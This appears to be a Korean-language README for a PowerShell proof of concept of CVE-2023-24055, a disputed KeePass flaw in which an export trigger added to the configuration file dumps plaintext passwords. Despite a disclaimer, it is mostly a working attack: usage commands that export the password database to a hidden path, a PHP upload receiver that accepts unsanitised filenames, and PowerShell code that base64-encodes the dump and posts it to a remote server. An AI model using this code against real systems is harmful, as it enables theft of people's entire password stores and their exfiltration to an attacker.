
PowerShell로 작성된 CVE-2023-24055 POC.

이 스크립트는 교육 및 데모 목적으로만 제공됩니다. 작성자는 본 스크립트를 범죄 또는 악의적 활동에 사용하는 것을 지지하거나 묵인하지 않으며, 명시적으로 허용된 곳에서 적절한 권한을 받은 경우에만 사용해야 합니다.
이 스크립트는 KeePass 구성 파일을 변경하고 기존에 구성된 트리거를 모두 삭제하므로 주의해서 사용해야 합니다. 이 스크립트를 사용하면 예기치 않은 동작이 발생하거나 KeePass 애플리케이션이 손상될 수 있습니다. 사용에 따른 책임은 본인에게 있습니다.
이 스크립트는 기본 설치 환경에서 2.53 버전까지의 KeePass의 ** 이의 제기된 ** 취약점(CVE-2023-24055)을 시연합니다. 이 취약점은 XML 구성 파일에 쓰기 권한이 있는 공격자가 내보내기 트리거를 추가하여 평문 암호를 얻을 수 있게 합니다. 공급업체의 입장은 암호 데이터베이스가 로컬 PC에 그러한 수준의 접근 권한을 가진 공격자로부터 안전하게 보호되도록 설계된 것이 아니라는 점에 유의하십시오.
참고:
이 스크립트를 사용하려면 PowerShell에서 실행하고 필요한 매개 변수를 지정하십시오. 필수 매개 변수는 다음과 같습니다:
-filename: 암호를 내보낼 파일의 전체 경로와 이름입니다.선택적 매개 변수는 다음과 같습니다:
-uploadURL: 데이터를 지정된 URL로 업로드해야 함을 지정하는 데 사용되는 스위치입니다.-url: 데이터를 업로드할 URL입니다.평문 암호 내보내기:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
평문 암호를 내보내고 내보낸 데이터를 웹 서버에 업로드합니다:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
자세한 도움말:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");